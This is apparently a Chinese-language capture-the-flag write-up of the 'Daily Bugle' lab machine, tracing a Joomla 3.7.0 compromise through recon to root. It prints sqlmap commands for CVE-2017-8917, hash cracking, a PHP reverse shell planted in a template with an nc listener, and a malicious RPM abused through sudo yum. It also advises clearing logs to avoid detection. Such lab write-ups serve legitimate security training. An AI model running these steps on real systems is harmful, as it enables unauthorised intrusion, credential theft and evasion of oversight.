Daily Bugle
字数 1349 2025-08-10 23:41:53

Joomla CMS 渗透测试实战:从SQL注入到权限提升

1. 信息收集阶段

1.1 初始扫描

使用nmap进行基础扫描:

nmap -sV -sC 10.10.102.79

发现开放端口:

  • 22 (SSH)
  • 80 (HTTP)
  • 3306 (MySQL)

1.2 Web应用识别

访问http://10.10.102.79,通过以下方法确认使用Joomla CMS:

  1. 查看网页源代码中的Joomla特征
  2. 使用专用扫描工具Joomscan:
cd joomscan
perl joomscan.pl http://10.10.102.79

扫描结果会显示Joomla版本和敏感路径信息。

2. 漏洞利用阶段

2.1 查找已知漏洞

确认Joomla版本为3.7.0后,使用searchsploit查找漏洞:

searchsploit joomla 3.7.0
cat `locate 42033.txt`

发现SQL注入漏洞(CVE-2017-8917)。

2.2 SQL注入攻击

使用sqlmap进行自动化注入:

sqlmap -u "http://10.10.102.79/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch

获取数据库后,提取用户凭证:

sqlmap -u "http://10.10.102.79/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 -D joomla -T '#__users' -C password,username --dump

2.3 哈希破解

将获取的bcrypt哈希保存并破解:

echo '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm' > hash
john --wordlist=/usr/share/wordlist/rockyou.txt hash

成功获取密码:spiderman123,对应用户jonah

3. 获取初始访问权限

3.1 管理员后台登录

使用凭证jonah:spiderman123登录Joomla管理员后台。

3.2 植入Web Shell

  1. 导航到模板管理:Extensions → Templates → Templates
  2. 选择默认模板(如beez3)
  3. 编辑error.php文件,替换为PHP反向shell内容

准备反向shell:

git clone https://github.com/pentestmonkey/php-reverse-shell.git

修改php-reverse-shell.php中的IP和端口,然后复制内容到error.php

3.3 获取反向Shell

  1. 本地设置监听:
nc -lvnp 4444
  1. 访问触发shell的URL:
http://10.10.236.62/templates/beez3/error.php

4. 权限提升阶段

4.1 横向移动

在系统中发现用户jjameson,通过以下方法获取凭证:

  1. 检查Joomla配置文件:
cat /var/www/html/configuration.php

发现数据库凭证:用户名:root密码:nv5uz9r3ZEDzVjNu

  1. 尝试SSH登录:
ssh jjameson@localhost

使用相同密码成功登录。

4.2 SUID提权分析

查找具有SUID权限的可执行文件:

find / -user root -perm -4000 -print 2>/dev/null

检查sudo权限:

sudo -l

发现jjameson用户可以root权限执行yum。

4.3 通过Yum提权

利用GTFOBins方法构建恶意RPM包:

  1. 在攻击机安装fpm:
gem install fpm
  1. 创建恶意RPM包:
TF=$(mktemp -d)
echo 'cp /bin/bash /tmp/stef2 && chmod +s /tmp/stef2' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
  1. 传输RPM包到目标:
python -m http.server

在目标机下载:

wget http://<攻击机IP>:8000/x-1.0-1.noarch.rpm
  1. 执行提权:
sudo yum localinstall -y x-1.0-1.noarch.rpm
  1. 使用提权后的shell:
/tmp/stef2 -p

5. 关键知识点总结

  1. Joomla识别:通过源代码分析和专用扫描工具确认CMS类型和版本

  2. SQL注入利用

    • Joomla 3.7.0存在CVE-2017-8917漏洞
    • 使用sqlmap自动化注入需要设置高风险参数(--risk=3 --level=5)
  3. 哈希破解

    • Joomla使用bcrypt哈希存储密码
    • John the Ripper配合rockyou.txt字典有效破解弱密码
  4. Web Shell植入

    • 通过模板文件修改是最隐蔽的方式之一
    • PHP反向shell需要根据环境修改连接参数
  5. 权限提升技巧

    • 配置文件泄露是常见的信息泄露源
    • yum的sudo权限可通过恶意RPM包实现命令执行
    • GTFOBins提供了多种程序的提权方法参考
  6. 隐蔽性考虑

    • 使用随机User-Agent(--random-agent)
    • 操作完成后应清理日志和上传的文件
Joomla CMS 渗透测试实战:从SQL注入到权限提升 1. 信息收集阶段 1.1 初始扫描 使用nmap进行基础扫描: 发现开放端口: 22 (SSH) 80 (HTTP) 3306 (MySQL) 1.2 Web应用识别 访问http://10.10.102.79,通过以下方法确认使用Joomla CMS: 查看网页源代码中的Joomla特征 使用专用扫描工具Joomscan: 扫描结果会显示Joomla版本和敏感路径信息。 2. 漏洞利用阶段 2.1 查找已知漏洞 确认Joomla版本为3.7.0后,使用searchsploit查找漏洞: 发现SQL注入漏洞(CVE-2017-8917)。 2.2 SQL注入攻击 使用sqlmap进行自动化注入: 获取数据库后,提取用户凭证: 2.3 哈希破解 将获取的bcrypt哈希保存并破解: 成功获取密码: spiderman123 ,对应用户 jonah 。 3. 获取初始访问权限 3.1 管理员后台登录 使用凭证 jonah:spiderman123 登录Joomla管理员后台。 3.2 植入Web Shell 导航到模板管理:Extensions → Templates → Templates 选择默认模板(如beez3) 编辑 error.php 文件,替换为PHP反向shell内容 准备反向shell: 修改 php-reverse-shell.php 中的IP和端口,然后复制内容到 error.php 。 3.3 获取反向Shell 本地设置监听: 访问触发shell的URL: 4. 权限提升阶段 4.1 横向移动 在系统中发现用户 jjameson ,通过以下方法获取凭证: 检查Joomla配置文件: 发现数据库凭证: 用户名:root , 密码:nv5uz9r3ZEDzVjNu 尝试SSH登录: 使用相同密码成功登录。 4.2 SUID提权分析 查找具有SUID权限的可执行文件: 检查sudo权限: 发现 jjameson 用户可以root权限执行yum。 4.3 通过Yum提权 利用GTFOBins方法构建恶意RPM包: 在攻击机安装fpm: 创建恶意RPM包: 传输RPM包到目标: 在目标机下载: 执行提权: 使用提权后的shell: 5. 关键知识点总结 Joomla识别 :通过源代码分析和专用扫描工具确认CMS类型和版本 SQL注入利用 : Joomla 3.7.0存在CVE-2017-8917漏洞 使用sqlmap自动化注入需要设置高风险参数(--risk=3 --level=5) 哈希破解 : Joomla使用bcrypt哈希存储密码 John the Ripper配合rockyou.txt字典有效破解弱密码 Web Shell植入 : 通过模板文件修改是最隐蔽的方式之一 PHP反向shell需要根据环境修改连接参数 权限提升技巧 : 配置文件泄露是常见的信息泄露源 yum的sudo权限可通过恶意RPM包实现命令执行 GTFOBins提供了多种程序的提权方法参考 隐蔽性考虑 : 使用随机User-Agent(--random-agent) 操作完成后应清理日志和上传的文件